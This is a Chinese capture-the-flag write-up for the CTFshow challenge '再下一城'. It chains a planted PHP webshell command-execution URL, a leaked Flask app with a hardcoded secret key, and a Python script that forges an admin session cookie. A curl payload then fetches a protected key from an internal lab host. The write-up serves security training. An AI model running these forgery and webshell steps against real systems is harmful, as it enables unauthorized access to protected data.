[CTFshow]第四章:再下一城¶
题目地址:https://ctf.show/challenges#%E5%86%8D%E4%B8%8B%E4%B8%80%E5%9F%8E-4528
现在是来到了第四章,题目所需环境在前面已有,我们通过 172.2.xx.5/1.php?1=system('ls /')
即可进行 rce.
分析题目,要求我们获得 log_server_key.txt
的内容。这个内容出现在之前获得的 main.py.bak
中,内容如下:
from flask import Flask, request, jsonify,session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join
app = Flask(__name__)
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'
@app.route('/', methods=['GET'])
def index():
session['user']='guest'
return {'message': 'log server is running'}
def check_session():
if 'user' not in session:
return False
if session['user'] != 'admin':
return False
return True
@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}
@app.route('/set_log_option')
def set_log_option():
if not check_session():
return {"message": "not authorized"}
logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/'+logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/'+logFile)
return {'message': 'log option set successfully'}
@app.route('/get_log_content')
def get_log_content():
if not check_session():
return {"message": "not authorized"}
logFile = request.args.get('logFile')
path = join('log',basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}
def clear_log_file(file_path):
with open(file_path, 'w'):
pass
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888)
分析即可得知,我们需要访问 /key
路由,但是我们首先要有 session 中,user=admin
的权限才可以获得 log_server_key.txt
的内容。这就是典型的 flask session 伪造。因为 secret_key
已经给出,所以我们使用我们下面的脚本即可:(main 函数以前的部分可公用,建议保存)
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM:
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
@staticmethod
def decode(session_cookie_value, secret_key=None):
try:
if secret_key is None:
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
token = "eyJ1c2VyIjoiZ3Vlc3QifQ.Z4tZlw.robFTtva8Nvp3wvXNrsEpvaPmCo"
key = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'
payload = "{'user': 'admin'}"
token2 = "eyJ1c2VyIjoiYWRtaW4ifQ.Z4ta_Q.jt7HmSyyYLst2m6r1_BMmQI4VHM"
if __name__ == "__main__":
# print(FSCM.encode("secret", '{"user":"admin"}'))
print(FSCM.decode(token2, key))
# print(FSCM.encode(key, payload))
简述一下流程就是,我们先通过 FSCM.decode
函数解码出原来的 session,然后我们修改其中的内容为 {'user': 'admin'}
, 然后重新编码即可。最后我们获得 session 为 eyJ1c2VyIjoiYWRtaW4ifQ.Z4ta_Q.jt7HmSyyYLst2m6r1_BMmQI4VHM
,但是它是 cookie,我们没办法直接在 download Task File
那个里面使用,怎么办?
要进行攻击,首先要找到靶机。通过爆破可以得知,这个 flask 服务器的地址为 172.2.xx.6:8888
。我们直接访问就会出现源码里的那个 message:
然后直接访问 /key
肯定是不行的,我们需要带上我们的 cookie.
这时候,我们就可以使用我们之前的 1.php
来进行访问了。看看 curl
命令是如何带上 cookie 的:
Examples:
curl -b "" https://example.com
curl -b cookiefile https://example.com
curl -b cookiefile -c cookiefile https://example.com
curl -b name=Jane https://example.com
看第四行,一下就明白了,我们直接写 payload:
http://172.2.199.5/1.php?1=system('curl -b session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4ta_Q.jt7HmSyyYLst2m6r1_BMmQI4VHM 172.2.199.6:8888/key');
也不需要多解释了,得到的结果就是 flag。
文章热度:0次阅读